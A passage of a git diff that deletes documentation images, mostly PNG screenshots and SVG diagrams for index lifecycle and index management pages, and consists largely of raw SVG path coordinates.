1.578125q-0.828125 0.546875 -1.90625 0.546875q-0.84375 0 -1.359375 -0.28125q-0.5 -0.28125 -0.78125 -0.640625q-0.265625 -0.375 -0.40625 -0.609375l-0.125 0l0 4.609375l-1.328125 0zm1.3125 -7.625q0 0.984375 0.28125 1.734375q0.296875 0.75 0.84375 1.1875q0.5625 0.421875 1.375 0.421875q0.84375 0 1.40625 -0.453125q0.5625 -0.453125 0.84375 -1.203125q0.296875 -0.765625 0.296875 -1.6875q0 -0.921875 -0.28125 -1.65625q-0.28125 -0.75 -0.859375 -1.1875q-0.5625 -0.4375 -1.40625 -0.4375q-0.8125 0 -1.375 0.421875q-0.5625 0.40625 -0.84375 1.140625q-0.28125 0.734375 -0.28125 1.71875zm9.765533 -7.28125l0 11.640625l-1.328125 0l0 -11.640625l1.328125 0zm6.123535 11.828125q-1.265625 0 -2.1875 -0.5625q-0.90625 -0.5625 -1.40625 -1.5625q-0.484375 -1.015625 -0.484375 -2.359375q0 -1.34375 0.484375 -2.359375q0.5 -1.03125 1.375 -1.609375q0.890625 -0.578125 2.078125 -0.578125q0.6875 0 1.34375 0.234375q0.671875 0.21875 1.21875 0.734375q0.546875 0.5 0.859375 1.34375q0.328125 0.828125 0.328125 2.046875l0 0.578125l-6.734375 0l0 -1.15625l5.375 0q0 -0.75 -0.296875 -1.328125q-0.296875 -0.578125 -0.828125 -0.90625q-0.53125 -0.34375 -1.265625 -0.34375q-0.796875 0 -1.390625 0.40625q-0.578125 0.390625 -0.890625 1.03125q-0.3125 0.625 -0.3125 1.34375l0 0.765625q0 0.984375 0.34375 1.671875q0.34375 0.6875 0.953125 1.046875q0.625 0.359375 1.4375 0.359375q0.53125 0 0.953125 -0.15625q0.421875 -0.15625 0.734375 -0.453125q0.3125 -0.3125 0.484375 -0.765625l1.296875 0.375q-0.203125 0.65625 -0.6875 1.15625q-0.484375 0.484375 -1.203125 0.765625q-0.703125 0.28125 -1.578125 0.28125zm9.443054 -8.921875l0 1.140625l-4.515625 0l0 -1.140625l4.515625 0zm-3.203125 -2.078125l1.34375 0l0 8.3125q0 0.5625 0.171875 0.84375q0.171875 0.28125 0.421875 0.375q0.265625 0.09375 0.5625 0.09375q0.234375 0 0.375 -0.015625q0.140625 -0.03125 0.21875 -0.046875l0.28125 1.203125q-0.140625 0.046875 -0.390625 0.09375q-0.234375 0.0625 -0.609375 0.0625q-0.578125 0 -1.125 -0.234375q-0.53125 -0.25 -0.890625 -0.75q-0.359375 -0.5 -0.359375 -1.265625l0 -8.671875zm8.805328 11.0q-1.265625 0 -2.1875 -0.5625q-0.90625 -0.5625 -1.40625 -1.5625q-0.484375 -1.015625 -0.484375 -2.359375q0 -1.34375 0.484375 -2.359375q0.5 -1.03125 1.375 -1.609375q0.890625 -0.578125 2.078125 -0.578125q0.6875 0 1.34375 0.234375q0.671875 0.21875 1.21875 0.734375q0.546875 0.5 0.859375 1.34375q0.328125 0.828125 0.328125 2.046875l0 0.578125l-6.734375 0l0 -1.15625l5.375 0q0 -0.75 -0.296875 -1.328125q-0.296875 -0.578125 -0.828125 -0.90625q-0.53125 -0.34375 -1.265625 -0.34375q-0.796875 0 -1.390625 0.40625q-0.578125 0.390625 -0.890625 1.03125q-0.3125 0.625 -0.3125 1.34375l0 0.765625q0 0.984375 0.34375 1.671875q0.34375 0.6875 0.953125 1.046875q0.625 0.359375 1.4375 0.359375q0.53125 0 0.953125 -0.15625q0.421875 -0.15625 0.734375 -0.453125q0.3125 -0.3125 0.484375 -0.765625l1.296875 0.375q-0.203125 0.65625 -0.6875 1.15625q-0.484375 0.484375 -1.203125 0.765625q-0.703125 0.28125 -1.578125 0.28125z" fill-rule="nonzero"/><path fill="#010000" fill-opacity="0.0" d="m434.4523 38.294605l0 0l0 19.363415l0 0l0 -19.363415z" fill-rule="nonzero"/><path fill="#ffffff" d="m361.45312 54.834427l72.999176 0l0 1.4399986l-72.999176 0l0 -1.4399986z" fill-rule="nonzero"/><path fill="#f5a35c" d="m176.80661 75.92531l0 0c0 -36.311638 29.436386 -65.74803 65.74803 -65.74803l0 0c17.437454 0 34.16072 6.927006 46.49086 19.257153c12.33017 12.330147 19.257172 29.053417 19.257172 46.490883l0 0c0 36.31163 -29.436401 65.74803 -65.74803 65.74803l0 0c-36.311646 0 -65.74803 -29.436401 -65.74803 -65.74803z" fill-rule="evenodd"/><path fill="#000000" fill-opacity="0.0" d="m215.05496 38.294605l54.99936 0l0 19.363415l-54.99936 0l0 -19.363415z" fill-rule="nonzero"/><path fill="#ffffff" d="m222.82059 45.06005q-0.09375 -0.859375 -0.828125 -1.328125q-0.71875 -0.484375 -1.78125 -0.484375q-0.765625 0 -1.34375 0.25q-0.578125 0.25 -0.90625 0.6875q-0.3125 0.4375 -0.3125 1.0q0 0.46875 0.21875 0.796875q0.234375 0.328125 0.578125 0.546875q0.359375 0.21875 0.734375 0.359375q0.390625 0.140625 0.71875 0.21875l1.171875 0.328125q0.46875 0.109375 1.015625 0.328125q0.5625 0.203125 1.078125 0.5625q0.515625 0.359375 0.84375 0.921875q0.34375 0.5625 0.34375 1.390625q0 0.9375 -0.5 1.703125q-0.484375 0.765625 -1.421875 1.21875q-0.9375 0.4375 -2.28125 0.4375q-1.25 0 -2.171875 -0.40625q-0.90625 -0.40625 -1.421875 -1.125q-0.515625 -0.71875 -0.59375 -1.671875l1.453125 0q0.0625 0.65625 0.453125 1.09375q0.390625 0.421875 0.984375 0.640625q0.59375 0.203125 1.296875 0.203125q0.796875 0 1.4375 -0.265625q0.65625 -0.265625 1.03125 -0.734375q0.375 -0.484375 0.375 -1.125q0 -0.578125 -0.328125 -0.9375q-0.328125 -0.359375 -0.859375 -0.578125q-0.515625 -0.234375 -1.140625 -0.40625l-1.421875 -0.40625q-1.375 -0.40625 -2.171875 -1.125q-0.78125 -0.734375 -0.78125 -1.90625q0 -0.96875 0.53125 -1.703125q0.53125 -0.734375 1.421875 -1.140625q0.90625 -0.40625 2.015625 -0.40625q1.125 0 2.0 0.40625q0.875 0.390625 1.390625 1.09375q0.515625 0.6875 0.546875 1.5625l-1.375 0zm7.454422 0l0 1.140625l-4.515625 0l0 -1.140625l4.515625 0zm-3.203125 -2.078125l1.34375 0l0 8.3125q0 0.5625 0.171875 0.84375q0.171875 0.28125 0.421875 0.375q0.265625 0.09375 0.5625 0.09375q0.234375 0 0.375 -0.015625q0.140625 -0.03125 0.21875 -0.046875l0.28125 1.203125q-0.140625 0.046875 -0.390625 0.09375q-0.234375 0.0625 -0.609375 0.0625q-0.578125 0 -1.125 -0.234375q-0.53125 -0.25 -0.890625 -0.75q-0.359375 -0.5 -0.359375 -1.265625l0 -8.671875zm7.80249 11.015625q-0.828125 0 -1.515625 -0.3125q-0.671875 -0.3125 -1.078125 -0.90625q-0.390625 -0.609375 -0.390625 -1.46875q0 -0.75 0.296875 -1.21875q0.296875 -0.46875 0.78125 -0.734375q0.5 -0.265625 1.09375 -0.390625q0.609375 -0.140625 1.21875 -0.21875q0.796875 -0.09375 1.296875 -0.140625q0.5 -0.0625 0.71875 -0.1875q0.234375 -0.140625 0.234375 -0.46875l0 -0.046875q0 -0.84375 -0.453125 -1.296875q-0.453125 -0.46875 -1.390625 -0.46875q-0.953125 0 -1.5 0.421875q-0.546875 0.421875 -0.765625 0.890625l-1.28125 -0.453125q0.34375 -0.796875 0.90625 -1.234375q0.578125 -0.453125 1.25 -0.625q0.6875 -0.1875 1.34375 -0.1875q0.421875 0 0.96875 0.109375q0.546875 0.09375 1.0625 0.40625q0.515625 0.296875 0.859375 0.921875q0.34375 0.609375 0.34375 1.65625l0 5.75l-1.34375 0l0 -1.1875l-0.0625 0q-0.140625 0.296875 -0.46875 0.625q-0.3125 0.3125 -0.84375 0.546875q-0.515625 0.21875 -1.28125 0.21875zm0.203125 -1.203125q0.796875 0 1.34375 -0.3125q0.546875 -0.3125 0.828125 -0.796875q0.28125 -0.5 0.28125 -1.046875l0 -1.234375q-0.078125 0.109375 -0.375 0.1875q-0.28125 0.078125 -0.65625 0.140625q-0.375 0.0625 -0.71875 0.109375q-0.34375 0.03125 -0.5625 0.0625q-0.53125 0.078125 -0.984375 0.234375q-0.453125 0.140625 -0.734375 0.4375q-0.265625 0.296875 -0.265625 0.8125q0 0.703125 0.515625 1.0625q0.53125 0.34375 1.328125 0.34375zm10.038254 -7.734375l0 1.140625l-4.515625 0l0 -1.140625l4.515625 0zm-3.203125 -2.078125l1.34375 0l0 8.3125q0 0.5625 0.171875 0.84375q0.171875 0.28125 0.421875 0.375q0.265625 0.09375 0.5625 0.09375q0.234375 0 0.375 -0.015625q0.140625 -0.03125 0.21875 -0.046875l0.28125 1.203125q-0.140625 0.046875 -0.390625 0.09375q-0.234375 0.0625 -0.609375 0.0625q-0.578125 0 -1.125 -0.234375q-0.53125 -0.25 -0.890625 -0.75q-0.359375 -0.5 -0.359375 -1.265625l0 -8.671875zm8.805328 11.0q-1.265625 0 -2.1875 -0.5625q-0.90625 -0.5625 -1.40625 -1.5625q-0.484375 -1.015625 -0.484375 -2.359375q0 -1.34375 0.484375 -2.359375q0.5 -1.03125 1.375 -1.609375q0.890625 -0.578125 2.078125 -0.578125q0.6875 0 1.34375 0.234375q0.671875 0.21875 1.21875 0.734375q0.546875 0.5 0.859375 1.34375q0.328125 0.828125 0.328125 2.046875l0 0.578125l-6.734375 0l0 -1.15625l5.375 0q0 -0.75 -0.296875 -1.328125q-0.296875 -0.578125 -0.828125 -0.90625q-0.53125 -0.34375 -1.265625 -0.34375q-0.796875 0 -1.390625 0.40625q-0.578125 0.390625 -0.890625 1.03125q-0.3125 0.625 -0.3125 1.34375l0 0.765625q0 0.984375 0.34375 1.671875q0.34375 0.6875 0.953125 1.046875q0.625 0.359375 1.4375 0.359375q0.53125 0 0.953125 -0.15625q0.421875 -0.15625 0.734375 -0.453125q0.3125 -0.3125 0.484375 -0.765625l1.296875 0.375q-0.203125 0.65625 -0.6875 1.15625q-0.484375 0.484375 -1.203125 0.765625q-0.703125 0.28125 -1.578125 0.28125zm10.333649 -0.1875l0 -11.640625l4.078125 0q1.203125 0 1.984375 0.421875q0.796875 0.421875 1.1875 1.125q0.390625 0.703125 0.390625 1.546875q0 0.75 -0.265625 1.25q-0.265625 0.484375 -0.703125 0.765625q-0.421875 0.28125 -0.921875 0.421875l0 0.109375q0.53125 0.03125 1.0625 0.375q0.546875 0.34375 0.90625 0.984375q0.375 0.625 0.375 1.546875q0 0.875 -0.40625 1.578125q-0.390625 0.703125 -1.25 1.109375q-0.859375 0.40625 -2.234375 0.40625l-4.203125 0zm1.40625 -1.25l2.796875 0q1.390625 0 1.96875 -0.53125q0.578125 -0.546875 0.578125 -1.3125q0 -0.59375 -0.296875 -1.09375q-0.296875 -0.5 -0.859375 -0.796875q-0.5625 -0.3125 -1.3125 -0.3125l-2.875 0l0 4.046875zm0 -5.265625l2.625 0q0.625 0 1.140625 -0.25q0.515625 -0.25 0.8125 -0.703125q0.3125 -0.46875 0.3125 -1.078125q0 -0.765625 -0.53125 -1.296875q-0.53125 -0.546875 -1.6875 -0.546875l-2.671875 0l0 3.875z" fill-rule="nonzero"/><path fill="#010000" fill-opacity="0.0" d="m270.05432 38.294605l0 0l0 19.363415l0 0l0 -19.363415z" fill-rule="nonzero"/><path fill="#ffffff" d="m215.05496 54.834427l54.99936 0l0 1.4399986l-54.99936 0l0 -1.4399986z" fill-rule="nonzero"/><path fill="#6dccb1" d="m21.408531 75.92531l0 0c0 -36.311638 29.436398 -65.74803 65.74803 -65.74803l0 0c17.437462 0 34.16073 6.927006 46.490883 19.257153c12.330139 12.330147 19.257141 29.053417 19.257141 46.490883l0 0c0 36.31163 -29.436386 65.74803 -65.748024 65.74803l0 0c-36.311634 0 -65.74803 -29.436401 -65.74803 -65.74803z" fill-rule="evenodd"/><path fill="#000000" fill-opacity="0.0" d="m59.45234 38.294605l55.408447 0l0 19.363415l-55.408447 0l0 -19.363415z" fill-rule="nonzero"/><path fill="#ffffff" d="m67.217964 45.06005q-0.09375 -0.859375 -0.828125 -1.328125q-0.71875 -0.484375 -1.78125 -0.484375q-0.765625 0 -1.34375 0.25q-0.578125 0.25 -0.90625 0.6875q-0.3125 0.4375 -0.3125 1.0q0 0.46875 0.21875 0.796875q0.234375 0.328125 0.578125 0.546875q0.359375 0.21875 0.734375 0.359375q0.390625 0.140625 0.71875 0.21875l1.171875 0.328125q0.46875 0.109375 1.015625 0.328125q0.5625 0.203125 1.078125 0.5625q0.515625 0.359375 0.84375 0.921875q0.34375 0.5625 0.34375 1.390625q0 0.9375 -0.5 1.703125q-0.484375 0.765625 -1.421875 1.21875q-0.9375 0.4375 -2.28125 0.4375q-1.25 0 -2.171875 -0.40625q-0.90625 -0.40625 -1.421875 -1.125q-0.515625 -0.71875 -0.59375 -1.671875l1.453125 0q0.0625 0.65625 0.453125 1.09375q0.390625 0.421875 0.984375 0.640625q0.59375 0.203125 1.296875 0.203125q0.796875 0 1.4375 -0.265625q0.65625 -0.265625 1.03125 -0.734375q0.375 -0.484375 0.375 -1.125q0 -0.578125 -0.328125 -0.9375q-0.328125 -0.359375 -0.859375 -0.578125q-0.515625 -0.234375 -1.140625 -0.40625l-1.421875 -0.40625q-1.375 -0.40625 -2.171875 -1.125q-0.78125 -0.734375 -0.78125 -1.90625q0 -0.96875 0.53125 -1.703125q0.53125 -0.734375 1.421875 -1.140625q0.90625 -0.40625 2.015625 -0.40625q1.125 0 2.0 0.40625q0.875 0.390625 1.390625 1.09375q0.515625 0.6875 0.546875 1.5625l-1.375 0zm7.454422 0l0 1.140625l-4.515625 0l0 -1.140625l4.515625 0zm-3.203125 -2.078125l1.34375 0l0 8.3125q0 0.5625 0.171875 0.84375q0.171875 0.28125 0.421875 0.375q0.265625 0.09375 0.5625 0.09375q0.234375 0 0.375 -0.015625q0.140625 -0.03125 0.21875 -0.046875l0.28125 1.203125q-0.140625 0.046875 -0.390625 0.09375q-0.234375 0.0625 -0.609375 0.0625q-0.578125 0 -1.125 -0.234375q-0.53125 -0.25 -0.890625 -0.75q-0.359375 -0.5 -0.359375 -1.265625l0 -8.671875zm7.80249 11.015625q-0.828125 0 -1.515625 -0.3125q-0.671875 -0.3125 -1.078125 -0.90625q-0.390625 -0.609375 -0.390625 -1.46875q0 -0.75 0.296875 -1.21875q0.296875 -0.46875 0.78125 -0.734375q0.5 -0.265625 1.09375 -0.390625q0.609375 -0.140625 1.21875 -0.21875q0.796875 -0.09375 1.296875 -0.140625q0.5 -0.0625 0.71875 -0.1875q0.234375 -0.140625 0.234375 -0.46875l0 -0.046875q0 -0.84375 -0.453125 -1.296875q-0.453125 -0.46875 -1.390625 -0.46875q-0.953125 0 -1.5 0.421875q-0.546875 0.421875 -0.765625 0.890625l-1.28125 -0.453125q0.34375 -0.796875 0.90625 -1.234375q0.578125 -0.453125 1.25 -0.625q0.6875 -0.1875 1.34375 -0.1875q0.421875 0 0.96875 0.109375q0.546875 0.09375 1.0625 0.40625q0.515625 0.296875 0.859375 0.921875q0.34375 0.609375 0.34375 1.65625l0 5.75l-1.34375 0l0 -1.1875l-0.0625 0q-0.140625 0.296875 -0.46875 0.625q-0.3125 0.3125 -0.84375 0.546875q-0.515625 0.21875 -1.28125 0.21875zm0.203125 -1.203125q0.796875 0 1.34375 -0.3125q0.546875 -0.3125 0.828125 -0.796875q0.28125 -0.5 0.28125 -1.046875l0 -1.234375q-0.078125 0.109375 -0.375 0.1875q-0.28125 0.078125 -0.65625 0.140625q-0.375 0.0625 -0.71875 0.109375q-0.34375 0.03125 -0.5625 0.0625q-0.53125 0.078125 -0.984375 0.234375q-0.453125 0.140625 -0.734375 0.4375q-0.265625 0.296875 -0.265625 0.8125q0 0.703125 0.515625 1.0625q0.53125 0.34375 1.328125 0.34375zm10.038254 -7.734375l0 1.140625l-4.515625 0l0 -1.140625l4.515625 0zm-3.203125 -2.078125l1.34375 0l0 8.3125q0 0.5625 0.171875 0.84375q0.171875 0.28125 0.421875 0.375q0.265625 0.09375 0.5625 0.09375q0.234375 0 0.375 -0.015625q0.140625 -0.03125 0.21875 -0.046875l0.28125 1.203125q-0.140625 0.046875 -0.390625 0.09375q-0.234375 0.0625 -0.609375 0.0625q-0.578125 0 -1.125 -0.234375q-0.53125 -0.25 -0.890625 -0.75q-0.359375 -0.5 -0.359375 -1.265625l0 -8.671875zm8.805328 11.0q-1.265625 0 -2.1875 -0.5625q-0.90625 -0.5625 -1.40625 -1.5625q-0.484375 -1.015625 -0.484375 -2.359375q0 -1.34375 0.484375 -2.359375q0.5 -1.03125 1.375 -1.609375q0.890625 -0.578125 2.078125 -0.578125q0.6875 0 1.34375 0.234375q0.671875 0.21875 1.21875 0.734375q0.546875 0.5 0.859375 1.34375q0.328125 0.828125 0.328125 2.046875l0 0.578125l-6.734375 0l0 -1.15625l5.375 0q0 -0.75 -0.296875 -1.328125q-0.296875 -0.578125 -0.828125 -0.90625q-0.53125 -0.34375 -1.265625 -0.34375q-0.796875 0 -1.390625 0.40625q-0.578125 0.390625 -0.890625 1.03125q-0.3125 0.625 -0.3125 1.34375l0 0.765625q0 0.984375 0.34375 1.671875q0.34375 0.6875 0.953125 1.046875q0.625 0.359375 1.4375 0.359375q0.53125 0 0.953125 -0.15625q0.421875 -0.15625 0.734375 -0.453125q0.3125 -0.3125 0.484375 -0.765625l1.296875 0.375q-0.203125 0.65625 -0.6875 1.15625q-0.484375 0.484375 -1.203125 0.765625q-0.703125 0.28125 -1.578125 0.28125zm10.818024 -0.1875l-1.484375 0l4.28125 -11.640625l1.453125 0l4.265625 11.640625l-1.46875 0l-3.484375 -9.796875l-0.09375 0l-3.46875 9.796875zm0.546875 -4.546875l5.953125 0l0 1.25l-5.953125 0l0 -1.25z" fill-rule="nonzero"/><path fill="#010000" fill-opacity="0.0" d="m114.86079 38.294605l0 0l0 19.363415l0 0l0 -19.363415z" fill-rule="nonzero"/><path fill="#ffffff" d="m59.45234 54.834427l55.408447 0l0 1.4399986l-55.408447 0l0 -1.4399986z" fill-rule="nonzero"/><path fill="#000000" fill-opacity="0.0" d="m152.90459 75.92531l23.905518 0" fill-rule="evenodd"/><path stroke="#98a2b3" stroke-width="2.0" stroke-linejoin="round" stroke-linecap="butt" d="m152.9046 75.92531l11.905502 0" fill-rule="evenodd"/><path fill="#98a2b3" stroke="#98a2b3" stroke-width="2.0" stroke-linecap="butt" d="m164.8101 79.22877l9.076187 -3.3034592l-9.076187 -3.3034668z" fill-rule="evenodd"/><path fill="#000000" fill-opacity="0.0" d="m308.30267 75.92531l23.905518 0" fill-rule="evenodd"/><path stroke="#98a2b3" stroke-width="2.0" stroke-linejoin="round" stroke-linecap="butt" d="m308.30267 75.92531l11.905518 0" fill-rule="evenodd"/><path fill="#98a2b3" stroke="#98a2b3" stroke-width="2.0" stroke-linecap="butt" d="m320.2082 79.22877l9.076202 -3.3034592l-9.076202 -3.3034668z" fill-rule="evenodd"/></g></svg>
\ No newline at end of file
diff --git a/docs/reference/images/ilm/create-policy.png b/docs/reference/images/ilm/create-policy.png
deleted file mode 100644
index f6d86fa9b4e..00000000000
Binary files a/docs/reference/images/ilm/create-policy.png and /dev/null differ
diff --git a/docs/reference/images/ilm/create-template-wizard-my_template.png b/docs/reference/images/ilm/create-template-wizard-my_template.png
deleted file mode 100644
index fd712e2a6e4..00000000000
Binary files a/docs/reference/images/ilm/create-template-wizard-my_template.png and /dev/null differ
diff --git a/docs/reference/images/ilm/create-template-wizard.png b/docs/reference/images/ilm/create-template-wizard.png
deleted file mode 100644
index d16f785e927..00000000000
Binary files a/docs/reference/images/ilm/create-template-wizard.png and /dev/null differ
diff --git a/docs/reference/images/ilm/index-lifecycle-policies.png b/docs/reference/images/ilm/index-lifecycle-policies.png
deleted file mode 100644
index 184188be181..00000000000
Binary files a/docs/reference/images/ilm/index-lifecycle-policies.png and /dev/null differ
diff --git a/docs/reference/images/ilm/tutorial-ilm-custom-policy.png b/docs/reference/images/ilm/tutorial-ilm-custom-policy.png
deleted file mode 100644
index 03b67829f60..00000000000
Binary files a/docs/reference/images/ilm/tutorial-ilm-custom-policy.png and /dev/null differ
diff --git a/docs/reference/images/ilm/tutorial-ilm-delete-phase-creation.png b/docs/reference/images/ilm/tutorial-ilm-delete-phase-creation.png
deleted file mode 100644
index 91a55733c28..00000000000
Binary files a/docs/reference/images/ilm/tutorial-ilm-delete-phase-creation.png and /dev/null differ
diff --git a/docs/reference/images/ilm/tutorial-ilm-delete-rollover.png b/docs/reference/images/ilm/tutorial-ilm-delete-rollover.png
deleted file mode 100644
index ba021ecc2ac..00000000000
Binary files a/docs/reference/images/ilm/tutorial-ilm-delete-rollover.png and /dev/null differ
diff --git a/docs/reference/images/ilm/tutorial-ilm-hotphaserollover-default.png b/docs/reference/images/ilm/tutorial-ilm-hotphaserollover-default.png
deleted file mode 100644
index a9088c63d88..00000000000
Binary files a/docs/reference/images/ilm/tutorial-ilm-hotphaserollover-default.png and /dev/null differ
diff --git a/docs/reference/images/ilm/tutorial-ilm-modify-default-warm-phase-rollover.png b/docs/reference/images/ilm/tutorial-ilm-modify-default-warm-phase-rollover.png
deleted file mode 100644
index c6f1e9b40e9..00000000000
Binary files a/docs/reference/images/ilm/tutorial-ilm-modify-default-warm-phase-rollover.png and /dev/null differ
diff --git a/docs/reference/images/index-mgmt/management-index-templates-mappings.png b/docs/reference/images/index-mgmt/management-index-templates-mappings.png
deleted file mode 100644
index beb964b3481..00000000000
Binary files a/docs/reference/images/index-mgmt/management-index-templates-mappings.png and /dev/null differ
diff --git a/docs/reference/images/index-mgmt/management-index-templates.png b/docs/reference/images/index-mgmt/management-index-templates.png
deleted file mode 100644
index 07f1fb9a7ad..00000000000
Binary files a/docs/reference/images/index-mgmt/management-index-templates.png and /dev/null differ
diff --git a/docs/reference/images/index-mgmt/management_index_component_template.png b/docs/reference/images/index-mgmt/management_index_component_template.png
deleted file mode 100644
index c03029fd172..00000000000
Binary files a/docs/reference/images/index-mgmt/management_index_component_template.png and /dev/null differ
diff --git a/docs/reference/images/index-mgmt/management_index_create_wizard.png b/docs/reference/images/index-mgmt/management_index_create_wizard.png
deleted file mode 100644
index bff1dd4cd0e..00000000000
Binary files a/docs/reference/images/index-mgmt/management_index_create_wizard.png and /dev/null differ
diff --git a/docs/reference/images/index-mgmt/management_index_data_stream_backing_index.png b/docs/reference/images/index-mgmt/management_index_data_stream_backing_index.png
deleted file mode 100644
index a5c577affbb..00000000000
Binary files a/docs/reference/images/index-mgmt/management_index_data_stream_backing_index.png and /dev/null differ
diff --git a/docs/reference/images/index-mgmt/management_index_data_stream_stats.png b/docs/reference/images/index-mgmt/management_index_data_stream_stats.png
deleted file mode 100644
index a67ab4a7deb..00000000000
Binary files a/docs/reference/images/index-mgmt/management_index_data_stream_stats.png and /dev/null differ
diff --git a/docs/reference/images/index-mgmt/management_index_details.png b/docs/reference/images/index-mgmt/management_index_details.png
deleted file mode 100644
index b199d13218f..00000000000
Binary files a/docs/reference/images/index-mgmt/management_index_details.png and /dev/null differ
diff --git a/docs/reference/images/index-mgmt/management_index_labels.png b/docs/reference/images/index-mgmt/management_index_labels.png
deleted file mode 100644
index a89c32e08be..00000000000
Binary files a/docs/reference/images/index-mgmt/management_index_labels.png and /dev/null differ
diff --git a/docs/reference/images/ingest/enrich/enrich-policy-index.svg b/docs/reference/images/ingest/enrich/enrich-policy-index.svg
deleted file mode 100644
index 8ec6ae59a68..00000000000
--- a/docs/reference/images/ingest/enrich/enrich-policy-index.svg
+++ /dev/null
@@ -1,40 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<svg width="364px" height="147px" viewBox="0 0 364 147" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
-    <!-- Generator: Sketch 53.2 (72643) - https://sketchapp.com -->
-    <title>Slice 1</title>
-    <desc>Created with Sketch.</desc>
-    <defs>
-        <polygon id="path-1" points="0 0 960 0 960 540 0 540"></polygon>
-    </defs>
-    <g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">
-        <g id="enrich-policy-index" transform="translate(-450.000000, -179.000000)">
-            <mask id="mask-2" fill="white">
-                <use xlink:href="#path-1"></use>
-            </mask>
-            <g id="Path"></g>
-            <g id="Group" mask="url(#mask-2)">
-                <polygon id="Path" fill="#FFFFFF" points="0 0 960 0 960 540 0 540"></polygon>
-                <path d="M727.9239,188.19537 L727.9239,188.19537 C727.9239,183.403012 731.808849,179.518032 736.601207,179.518032 L805.136302,179.518032 C807.437694,179.518032 809.644786,180.432247 811.272105,182.059566 C812.899424,183.686886 813.81367,185.893993 813.81367,188.195369 L813.81367,222.903682 C813.81367,227.696041 809.92866,231.58102 805.136302,231.58102 L736.601207,231.58102 C731.808849,231.58102 727.9239,227.696041 727.9239,222.903682 L727.9239,188.19537 Z" id="Path" fill="#F04E98"></path>
-                <path d="M747.35706,199.42516 L748.747685,199.20641 C748.820602,199.76891 749.034143,200.201202 749.38831,200.503285 C749.752893,200.794952 750.252893,200.940785 750.88831,200.940785 C751.534143,200.940785 752.01331,200.810577 752.32581,200.55016 C752.63831,200.279327 752.79456,199.966827 752.79456,199.61266 C752.79456,199.30016 752.659143,199.05016 752.38831,198.86266 C752.190393,198.73766 751.711227,198.58141 750.95081,198.39391 C749.91956,198.133493 749.20081,197.909535 748.79456,197.722035 C748.398727,197.524118 748.096643,197.258493 747.88831,196.92516 C747.690393,196.591827 747.591435,196.222035 747.591435,195.815785 C747.591435,195.440785 747.674768,195.097035 747.841435,194.784535 C748.008102,194.472035 748.237268,194.211618 748.528935,194.003285 C748.747685,193.836618 749.04456,193.701202 749.41956,193.597035 C749.804977,193.482452 750.211227,193.42516 750.63831,193.42516 C751.29456,193.42516 751.867477,193.51891 752.35706,193.70641 C752.846643,193.89391 753.206018,194.149118 753.435185,194.472035 C753.674768,194.784535 753.841435,195.211618 753.935185,195.753285 L752.560185,195.940785 C752.497685,195.513702 752.315393,195.180368 752.01331,194.940785 C751.711227,194.701202 751.289352,194.58141 750.747685,194.58141 C750.101852,194.58141 749.63831,194.690785 749.35706,194.909535 C749.086227,195.117868 748.95081,195.36266 748.95081,195.64391 C748.95081,195.83141 749.008102,195.998077 749.122685,196.14391 C749.237268,196.289743 749.414352,196.414743 749.653935,196.51891 C749.799768,196.570993 750.216435,196.690785 750.903935,196.878285 C751.893518,197.138702 752.586227,197.357452 752.98206,197.534535 C753.377893,197.701202 753.685185,197.945993 753.903935,198.26891 C754.133102,198.591827 754.247685,198.992868 754.247685,199.472035 C754.247685,199.940785 754.10706,200.383493 753.82581,200.80016 C753.554977,201.20641 753.159143,201.524118 752.63831,201.753285 C752.127893,201.982452 751.549768,202.097035 750.903935,202.097035 C749.820602,202.097035 748.997685,201.873077 748.435185,201.42516 C747.872685,200.977243 747.51331,200.310577 747.35706,199.42516 Z M755.38831,197.753285 C755.38831,196.222035 755.815393,195.086618 756.66956,194.347035 C757.38831,193.732452 758.258102,193.42516 759.278935,193.42516 C760.424768,193.42516 761.35706,193.80016 762.07581,194.55016 C762.804977,195.289743 763.16956,196.320993 763.16956,197.64391 C763.16956,198.70641 763.008102,199.544952 762.685185,200.159535 C762.362268,200.774118 761.893518,201.253285 761.278935,201.597035 C760.674768,201.930368 760.008102,202.097035 759.278935,202.097035 C758.122685,202.097035 757.185185,201.727243 756.466435,200.98766 C755.747685,200.23766 755.38831,199.159535 755.38831,197.753285 Z M756.841435,197.753285 C756.841435,198.815785 757.070602,199.61266 757.528935,200.14391 C757.997685,200.67516 758.581018,200.940785 759.278935,200.940785 C759.976852,200.940785 760.554977,200.67516 761.01331,200.14391 C761.48206,199.61266 761.716435,198.80016 761.716435,197.70641 C761.716435,196.685577 761.48206,195.909535 761.01331,195.378285 C760.554977,194.847035 759.976852,194.58141 759.278935,194.58141 C758.581018,194.58141 757.997685,194.847035 757.528935,195.378285 C757.070602,195.899118 756.841435,196.690785 756.841435,197.753285 Z M770.255498,201.909535 L770.255498,200.690785 C769.609664,201.628285 768.729456,202.097035 767.614873,202.097035 C767.125289,202.097035 766.666956,202.003285 766.239873,201.815785 C765.823206,201.628285 765.510706,201.39391 765.302373,201.11266 C765.094039,200.820993 764.948206,200.472035 764.864873,200.065785 C764.812789,199.784535 764.786748,199.347035 764.786748,198.753285 L764.786748,193.61266 L766.192998,193.61266 L766.192998,198.20641 C766.192998,198.945993 766.219039,199.440785 766.271123,199.690785 C766.364873,200.065785 766.552373,200.357452 766.833623,200.565785 C767.125289,200.774118 767.479456,200.878285 767.896123,200.878285 C768.323206,200.878285 768.719039,200.774118 769.083623,200.565785 C769.458623,200.347035 769.719039,200.05016 769.864873,199.67516 C770.021123,199.30016 770.099248,198.758493 770.099248,198.05016 L770.099248,193.61266 L771.505498,193.61266 L771.505498,201.909535 L770.255498,201.909535 Z M773.70081,201.909535 L773.70081,193.61266 L774.966435,193.61266 L774.966435,194.86266 C775.289352,194.279327 775.586227,193.89391 775.85706,193.70641 C776.127893,193.51891 776.429977,193.42516 776.76331,193.42516 C777.23206,193.42516 777.711227,193.576202 778.20081,193.878285 L777.716435,195.17516 C777.372685,194.977243 777.028935,194.878285 776.685185,194.878285 C776.383102,194.878285 776.10706,194.972035 775.85706,195.159535 C775.617477,195.336618 775.445602,195.591827 775.341435,195.92516 C775.185185,196.42516 775.10706,196.972035 775.10706,197.565785 L775.10706,201.909535 L773.70081,201.909535 Z M784.45081,198.86266 L785.841435,199.05016 C785.685185,199.998077 785.29456,200.742868 784.66956,201.284535 C784.054977,201.826202 783.29456,202.097035 782.38831,202.097035 C781.252893,202.097035 780.336227,201.727243 779.63831,200.98766 C778.95081,200.23766 778.60706,199.169952 